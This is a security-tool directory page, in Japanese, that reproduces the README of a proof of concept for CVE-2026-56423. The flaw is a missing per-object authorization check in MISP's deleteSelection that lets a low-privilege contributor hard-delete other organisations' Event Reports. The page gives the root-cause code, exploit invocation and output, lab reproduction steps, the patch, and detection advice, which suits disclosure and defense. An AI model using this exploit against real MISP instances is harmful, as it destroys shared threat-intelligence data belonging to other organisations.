Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl — CVE-2026-56423のPoC: MISPのdeleteSelectionにおけるアクセス制御の破綻(CWE-862、コントリビューターが他組織のイベントレポート/共有グループを強制削除、CVSS 8.8) | Kitploit
ツール/GitHubGitHub/biitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト脅威インテリジェンス設定ミス
GitHubbiitts/cve-2026-56423-misp-deleteselection-brokenaccesscontrol

CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl

CVE-2026-56423のPoC: MISPのdeleteSelectionにおけるアクセス制御の破綻(CWE-862、コントリビューターが他組織のイベントレポート/共有グループを強制削除、CVSS 8.8)

リポジトリを見る
12ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-56423 — MISP deleteSelection の不適切なアクセス制御

MISPの一括削除機能(Event Reports および Sharing Groups)における認可欠落の欠陥に関する概念実証。 deleteSelection ハンドラは、選択された各アイテムをコールバックで認可しますが、そのコールバックはアイテムを無視し、呼び出し元の グローバルロール権限(perm_add / perm_sharing_group)を返すため、オブジェクトごとの所有権チェックが行われません。その結果、低権限の contributor(デフォルトの "User" ロール)は、任意の組織 に属するレポートの ID/UUID を送信し、それらをインスタンス全体で完全削除できます。一方、正しく保護されたオブジェクト単位の delete アクションは、同じリクエストを拒否します。

CVECVE-2026-56423
製品MISP(マルウェア情報共有プラットフォーム)コア
影響を受けるバージョンMISP CE/EE ≤ 2.5.41
修正バージョン2.5.42
脆弱性クラスCWE-862 — 認可欠落(壊れたオブジェクトレベルのアクセス制御)
CVSS 3.18.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
認証認証済み、低権限(perm_add を持つ任意のロール、例: "User")
公開日2026-06-22
ステータス確認済み — 2.5.40 では contributor が他組織のレポートを削除可能、2.5.42 では拒否

根本原因

app/Controller/EventReportsController.php (tag v2.5.40):

root@kitploit:~
public function deleteSelection($id = null)
{
    return $this->CRUD->deleteSelection($id, [
        'modelName' => 'EventReport',
        ...
        'checkModifyCallback' => function($itemId) {
            return $this->userRole['perm_add'];   // ignores $itemId → global role bool
        },
    ]);
}

CRUDComponent::deleteSelection は、この checkModifyCallback を選択されたすべての ID に対して呼び出し、true を返すたびにオブジェクトを削除します。

root@kitploit:~
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }

コールバックが $this->userRole['perm_add'] を返すため(これは デフォルトの "User" ロールでは true となるグローバルブール値)、ターゲットレポートの所有権は決してチェックされません。対照的に、単一オブジェクトの delete($id) アクションは、正しく EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete') を呼び出し、他組織のレポートを拒否します。

SharingGroupsController::deleteSelection も、perm_sharing_group を使用した同様の欠陥があります。

2.5.42 の修正(コミット ada02fa、f99b3f1)では、コールバックをアイテムごとの EventReport::fetchIfAuthorized($user, $itemId, 'delete') に置き換えています。

完全なウォークスルーについては ANALYSIS.md を参照。

前提条件(正直に文書化)

  1. 攻撃者は、perm_add を持つロールのアカウントを保持している。これは組み込みの User ロールであり、複数組織インスタンスの通常の contributor に付与される。
  2. MISP.enable_themes = true。deleteSelection アクションは、ACL で AND(theming_enabled, perm_add) によってゲートされており、theming_enabled は MISP.enable_themes 設定にマップされる。この設定は デフォルトでオフ だが、多くのインスタンスで有効にされている通常の UI 機能フラグである(v2 インデックス/リスト UI を支える)。無効の場合、バグのあるコールバックが実行される前に HTTP 403 を返す。

エクスプロイト

root@kitploit:~
python3 exploit.py https://127.0.0.1:443 \
    --attacker-key <contributor_authkey> \
    --admin-key   <admin_authkey_used_only_to_confirm_the_target> \
    --report-id   <id_of_a_report_owned_by_another_org>
root@kitploit:~
[1] contributor legit delete/2   -> HTTP 404  (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200  {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection

再現方法

root@kitploit:~
cd lab
./setup.sh          # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
    --attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"

# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh

脆弱性/修正版の境界(実証的)

リクエスト(低権限 contributor、他組織のレポート)v2.5.40v2.5.42
正しく保護された delete/{id}404 拒否404 拒否
同じレポートの deleteSelection200 — 完全削除403 — "Could not delete"; レポートはそのまま

同じリクエストが、修正前後で成功から拒否に変わり、正しく保護されたオブジェクト単位の削除は両方で拒否される。これにより、バグが deleteSelection におけるオブジェクト単位の認可の欠落であり、アカウントの設定ミスではないことが証明される。完全なトランスクリプトは EVIDENCE.txt を参照。

影響

共有MISPインスタンス上の任意の低権限ユーザーが、脅威インテリジェンスイベントに添付された分析者ナラティブである Event Reports や 他の組織 に属する Sharing Groups をインスタンス全体で不可逆的に完全削除できる。これは、CERT、ISAC、SOCが依存する脅威インテリジェンスプラットフォームのテナント間の完全性/可用性の侵害である。

対策

  • MISP を 2.5.42 以降にアップグレードする。
  • 修正では、選択されたアイテムごとに EventReport::fetchIfAuthorized($user, $itemId, 'delete') を適用する。同じパターンが Sharing Groups にも適用される。

検出

アクションを実行したユーザーの組織が削除されたオブジェクトの所有組織と異なる EventReports/deleteSelection(および SharingGroups/deleteSelection)リクエストがないか、MISP ログを監査する。

クレジット

研究およびPoC: Caio Fabrício (@BiiTts)

ライセンス

MIT — LICENSE を参照。

ツールをダウンロード